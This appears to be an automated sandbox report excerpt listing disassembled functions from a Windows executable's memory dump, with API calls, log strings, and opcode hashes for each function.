String ID: Done$Wow64DisableWow64FsRedirection$[E] (%s) -> Wow64DisableWow64FsRedirection failed(gle=%lu)$[I] (%s) -> %s$fs_wow_redir_disable$kernel32
API String ID: 1533789296-1853374401
Opcode ID: 09afca86ac6373594683831a9800fda29b0d0380933a6dba12c5dd9e95751942
Instruction ID: 26f2c50d11ab47e80197e7d57ea837a1d550ca20fd1a66e32a0a7b6cb9b974f8
Opcode Fuzzy Hash: 09afca86ac6373594683831a9800fda29b0d0380933a6dba12c5dd9e95751942
Instruction Fuzzy Hash: 69011E60E1D90392FB20A71CE9917B426756F7C385F940433F60EC62A1EF2CE565D301

Function 00007FF6BE0388EE Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,00000000,000002234F5413D0,00007FF6BE038CDE,?,?,?,?,?,?,00000001,00007FF6BE038E4A,?,?,00007FF6BE0484F8), ref: 00007FF6BE03892F

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

GetProcessHeap.KERNEL32(?,?,00000000,000002234F5413D0,00007FF6BE038CDE,?,?,?,?,?,?,00000001,00007FF6BE038E4A,?,?,00007FF6BE0484F8), ref: 00007FF6BE038962
HeapFree.KERNEL32(?,?,00000000,000002234F5413D0,00007FF6BE038CDE,?,?,?,?,?,?,00000001,00007FF6BE038E4A,?,?,00007FF6BE0484F8), ref: 00007FF6BE038973

Strings

units_cleanup, xrefs: 00007FF6BE038939
[I] (%s) -> Done(name=%s), xrefs: 00007FF6BE038940

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: FreeHeap$LibraryProcessfflushfwrite
String ID: [I] (%s) -> Done(name=%s)$units_cleanup
API String ID: 1108967834-2645831314
Opcode ID: df822bde4ab91df9b5e11f67eb84a15336e41f6d56ae208c14dde87552ffa11d
Instruction ID: be1d927be9eef80314fe3a573a9176bd422fadb0021d29ce6381ee4af2303a01
Opcode Fuzzy Hash: df822bde4ab91df9b5e11f67eb84a15336e41f6d56ae208c14dde87552ffa11d
Instruction Fuzzy Hash: F1112C61A0D60781FA609F5DE944B7823B1BF7CB44F484472EB4D873A0EE2CE865D321

Function 00007FF6BE039E39 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 21COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF6BE039E53
DeleteCriticalSection.KERNEL32(?,?,?,?,00007FF6BE0389B9,?,?,00000000,00007FF6BE038CE3,?,?,?,?,?,?,00000001), ref: 00007FF6BE039E80

Strings

debug_cleanup, xrefs: 00007FF6BE039E98
[I] (%s) -> %s, xrefs: 00007FF6BE039E9F
Done, xrefs: 00007FF6BE039E91

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: CriticalDeleteSectionfclose
String ID: Done$[I] (%s) -> %s$debug_cleanup
API String ID: 3387974148-4247581856
Opcode ID: 0b41fed68d09f55e26358beb6b558423a32279b24a0a215fce4a601fd74a5666
Instruction ID: 557f8ba41ec1e1f7b1133acbe8c242bab9918f67f4a884283f5315e410539fc5
Opcode Fuzzy Hash: 0b41fed68d09f55e26358beb6b558423a32279b24a0a215fce4a601fd74a5666
Instruction Fuzzy Hash: 43F0F4A4A0D64B80FA10AB6CEA653752270EFB4754F840937F30C86164CF3CA0699360

Function 00007FF6BE03A27A Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 161memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00007FF6BE0484F8,00000000,?,?,?,00007FF6BE0484F0,00007FF6BE031208,?,?,?,00007FF6BE031313), ref: 00007FF6BE03A4C7

Strings

Unknown pseudo relocation bit size %d., xrefs: 00007FF6BE03A3F0
%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 00007FF6BE03A462
Unknown pseudo relocation protocol version %d., xrefs: 00007FF6BE03A36D

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
API String ID: 544645111-1286557213
Opcode ID: f376e8e6a081a73d79aaf6fb7616c898084fe598007c7d48d63f28f0360e0926
Instruction ID: 1086768f3d51cee392c1a680e5803c1751e67bd7ae73cbd8f35722d347614459
Opcode Fuzzy Hash: f376e8e6a081a73d79aaf6fb7616c898084fe598007c7d48d63f28f0360e0926
Instruction Fuzzy Hash: AE51AD61F0865295EB308B1DD544A78A3B1EBB8BA4F048536FB1D837D9DE3CE5A1E700

Function 00007FF6BE031360 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

GetModuleHandleExA.KERNEL32(?,?,?,?,?,?,00007FF6BE0384AF), ref: 00007FF6BE03137E
GetLastError.KERNEL32(?,?,?,?,?,?,00007FF6BE0384AF), ref: 00007FF6BE03139B

Strings

[E] (%s) -> GetModuleHandleExA failed(gle=%lu), xrefs: 00007FF6BE0313AB
module_current, xrefs: 00007FF6BE0313A4

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: ErrorHandleLastModule
String ID: [E] (%s) -> GetModuleHandleExA failed(gle=%lu)$module_current
API String ID: 4242514867-2427012484
Opcode ID: a70a8af8a6799b811748485c2465aaf2f97ed70b4a56fe3518cf35e5e755f2da
Instruction ID: bee28b518a13a14ef3a7a5e07ca25bd8c30db4eb314379a70d0eaf7fc0b24ae1
Opcode Fuzzy Hash: a70a8af8a6799b811748485c2465aaf2f97ed70b4a56fe3518cf35e5e755f2da
Instruction Fuzzy Hash: 03F03920A0CA0680E7309B18E8447AA7771FFBC388F840033F74D86AA4EF6CD228C741

Function 00007FF6BE03E0F0 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF6BE03E16B
IsDBCSLeadByteEx.KERNEL32 ref: 00007FF6BE03E186
MultiByteToWideChar.KERNEL32 ref: 00007FF6BE03E1DA
_errno.MSVCRT ref: 00007FF6BE03E1E4

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: Byte$CharMultiWide$Lead_errno
String ID:
API String ID: 2766522060-0
Opcode ID: e52bfd8392137d51bb9391ae47cf714bbbdc63591f019e6cdc8d20eb038805a4
Instruction ID: 74eb331e70a6b2fbbaedfbe19d2c1e0307a7945d1606c5d193d3480fb91bd8b2
Opcode Fuzzy Hash: e52bfd8392137d51bb9391ae47cf714bbbdc63591f019e6cdc8d20eb038805a4
Instruction Fuzzy Hash: 9531A472A0C38249F7304B299904B796BA0EBB9784F144235FB99877D6DF3CD5568702

Function 00007FF6BE03A530 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

signal.MSVCRT ref: 00007FF6BE03A5E6
signal.MSVCRT ref: 00007FF6BE03A5FB

Strings

CCG , xrefs: 00007FF6BE03A546

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: signal
String ID: CCG
API String ID: 1946981877-1584390748
Opcode ID: 3d48847964a56b40779e632f9fb4250c1fb945e224c615d2d4335e1e0d083621
Instruction ID: 64c715b4b66b3dd9f36855e434f09a912d30ed6cc7bd25adc640f73c975be9e2
Opcode Fuzzy Hash: 3d48847964a56b40779e632f9fb4250c1fb945e224c615d2d4335e1e0d083621
Instruction Fuzzy Hash: 5A217C61E0D10385FE79521D9440B7921A2AF7E364F298B36FB0EC62D1DE5DE8F27211

Function 00007FF6BE039FE0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6BE03A09A

Strings

Unknown error, xrefs: 00007FF6BE039FF7
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6BE03A08D

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 6939521f6767264a8fb87927fdf9a759c58c7e4e71ae3242473c69dd497d05cf
Instruction ID: 5ba6dea4dc98f427f613d8366246f795e5c58ec16172a3f17284cfa1b6243e12
Opcode Fuzzy Hash: 6939521f6767264a8fb87927fdf9a759c58c7e4e71ae3242473c69dd497d05cf
Instruction Fuzzy Hash: 4D113366908E8482D6118F1CE4413EAB370FFAE75AF505326FBCC66664DF39D166CB00

Function 00007FF6BE03A029 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6BE03A09A

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6BE03A08D
Partial loss of significance (PLOSS), xrefs: 00007FF6BE03A029

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: fprintf
String ID: Partial loss of significance (PLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4283191376
Opcode ID: 6742954880af872446bfc91b95b988c250abc5737df9b1f930ba577b45b3f3e3
Instruction ID: 8b48626d4541736c6eacc897ae519eb1a074befea7067a4f15d6abe3877f7584
Opcode Fuzzy Hash: 6742954880af872446bfc91b95b988c250abc5737df9b1f930ba577b45b3f3e3
Instruction Fuzzy Hash: B0F01D66808F8482D2118F1CE4406ABB370FFAE789F605326FBCD66564DF2DD5528B00

Function 00007FF6BE03A032 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6BE03A09A

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6BE03A08D
Total loss of significance (TLOSS), xrefs: 00007FF6BE03A032

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: fprintf
String ID: Total loss of significance (TLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4273532761
Opcode ID: 854f2dfc0a9e7c149260f6d1f09afe283b3e576efdae8473c3133785e71ceb38
Instruction ID: a530dffc0e99b9a3d2515387c90d204ac83248cf7193831f8a515e4c46fa709d
Opcode Fuzzy Hash: 854f2dfc0a9e7c149260f6d1f09afe283b3e576efdae8473c3133785e71ceb38
Instruction Fuzzy Hash: 5DF01D66808F8482D2118F1CE4406ABB370FFAE789F605326FBCD66564DF2DD5528B00

Function 00007FF6BE03A017 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6BE03A09A

Strings

Argument domain error (DOMAIN), xrefs: 00007FF6BE03A017
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6BE03A08D

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: fprintf
String ID: Argument domain error (DOMAIN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2713391170
Opcode ID: efa7ca9327b7f50ec550392f9c9add8736aa4d523d0fd9fc290744eecbb183ed
Instruction ID: 0597aaca5fb97fdad8c74fc0876f649a1fb6f6986b42ac38f2d32e91422960b9
Opcode Fuzzy Hash: efa7ca9327b7f50ec550392f9c9add8736aa4d523d0fd9fc290744eecbb183ed
Instruction Fuzzy Hash: DFF01D66808F8482D2118F1CE4406AFB370FFAE789F605326FBCD66564DF2DD5528B00

Function 00007FF6BE03A020 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6BE03A09A

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6BE03A08D
Overflow range error (OVERFLOW), xrefs: 00007FF6BE03A020

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: fprintf
String ID: Overflow range error (OVERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4064033741
Opcode ID: d67f6cb67d9aa1b683b19a67aea6ff021f067e3de8b3c453dfdd5ccf3ac71a10
Instruction ID: 6066593df446d9ec16d251cdff0a44480760945810cc7d8dd5fe860a61aa9435
Opcode Fuzzy Hash: d67f6cb67d9aa1b683b19a67aea6ff021f067e3de8b3c453dfdd5ccf3ac71a10
Instruction Fuzzy Hash: A4F01D66808F8482D2118F1CE4406ABB370FFAE789F605326FBCD66564DF2DD5568B00

Function 00007FF6BE03A03B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6BE03A09A

Strings

The result is too small to be represented (UNDERFLOW), xrefs: 00007FF6BE03A03B
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6BE03A08D

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: fprintf
String ID: The result is too small to be represented (UNDERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2187435201
Opcode ID: 29f5a33fe2bfd9c73ec78c153296316038a8ef3e282bb18084eb0fbbc30a309e
Instruction ID: daf526e61c33b34a8a82dc5335a68ad8ace4888e320d63a8e2da0d1b7c3e168c
Opcode Fuzzy Hash: 29f5a33fe2bfd9c73ec78c153296316038a8ef3e282bb18084eb0fbbc30a309e
Instruction Fuzzy Hash: 09F01D66808F8482D2118F1CE4406ABB370FFAE789F605326FBCD66564DF3DD5528B00

Function 00007FF6BE03A044 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6BE03A09A

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6BE03A08D
Argument singularity (SIGN), xrefs: 00007FF6BE03A044

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: fprintf
String ID: Argument singularity (SIGN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2468659920
Opcode ID: 7b5741c81ed116a003f85b52f29fe4854fc43aa525cf99e73fbc959c4dfbf3ab
Instruction ID: 089504831369cae6c97437d9ead776d40d84793df9511f7857693afacf168478
Opcode Fuzzy Hash: 7b5741c81ed116a003f85b52f29fe4854fc43aa525cf99e73fbc959c4dfbf3ab
Instruction Fuzzy Hash: 1BF0CD66808F8486D2118F1CE4406ABB371FFAE789F605326FBC966664DF29D5568B00

Function 00007FF6BE03600F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF6BE0360B5

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

Strings

registry_set_value, xrefs: 00007FF6BE0360CE
[I] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FF6BE0360D5

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [I] (%s) -> Done(root=0x%p,key=%s,param=%s)$registry_set_value
API String ID: 1001908780-3542721600
Opcode ID: 9d775fda3a458ba423f2584b4f03a94665879259268b20caf8ffe01fa55e4727
Instruction ID: a147caebf27c5cc84515a3a275434ceebd35b7d7fd63e3ece370a6448063c2c1
Opcode Fuzzy Hash: 9d775fda3a458ba423f2584b4f03a94665879259268b20caf8ffe01fa55e4727
Instruction Fuzzy Hash: 8DE01252B1D60785E5219B49FD116792234EB74791F440136FF4EC65A0ED2CD5A9D304

Function 00007FF6BE036005 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF6BE0360B5

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

Strings

registry_set_value, xrefs: 00007FF6BE0360CE
[I] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FF6BE0360D5

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [I] (%s) -> Done(root=0x%p,key=%s,param=%s)$registry_set_value
API String ID: 1001908780-3542721600
Opcode ID: 121d7b192f278ed57b8867b485dd75cd00e68040ae21fcedfb5617aa17ed5c6e
Instruction ID: 00891f70b37afdee7312dc840e3ef9878f964e1b2a15ef75eee97a82795950b1
Opcode Fuzzy Hash: 121d7b192f278ed57b8867b485dd75cd00e68040ae21fcedfb5617aa17ed5c6e
Instruction Fuzzy Hash: 6DE09212B1C60785E5209B08F9115792230EB74781F400136FF0EC26A0ED2CD5A5D300

Function 00007FF6BE036096 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF6BE0360B5

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

Strings

registry_set_value, xrefs: 00007FF6BE0360CE
[I] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FF6BE0360D5

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [I] (%s) -> Done(root=0x%p,key=%s,param=%s)$registry_set_value
API String ID: 1001908780-3542721600
Opcode ID: e0ccdcdfff5306e8d1edb665a48736185a9a8bfcf0cc9128e54fb974368f81d1
Instruction ID: 3c09d3bf51fed1be712cf0509245952065fb927642b733ff13503d6a03cc3d76
Opcode Fuzzy Hash: e0ccdcdfff5306e8d1edb665a48736185a9a8bfcf0cc9128e54fb974368f81d1
Instruction Fuzzy Hash: A2E09212B1C60785E5219B08FD115792234EB74780F400137FF0EC26A0ED2CD6A5D301

Function 00007FF6BE0360A4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21registryCOMMON

Download Yara Rule

APIs

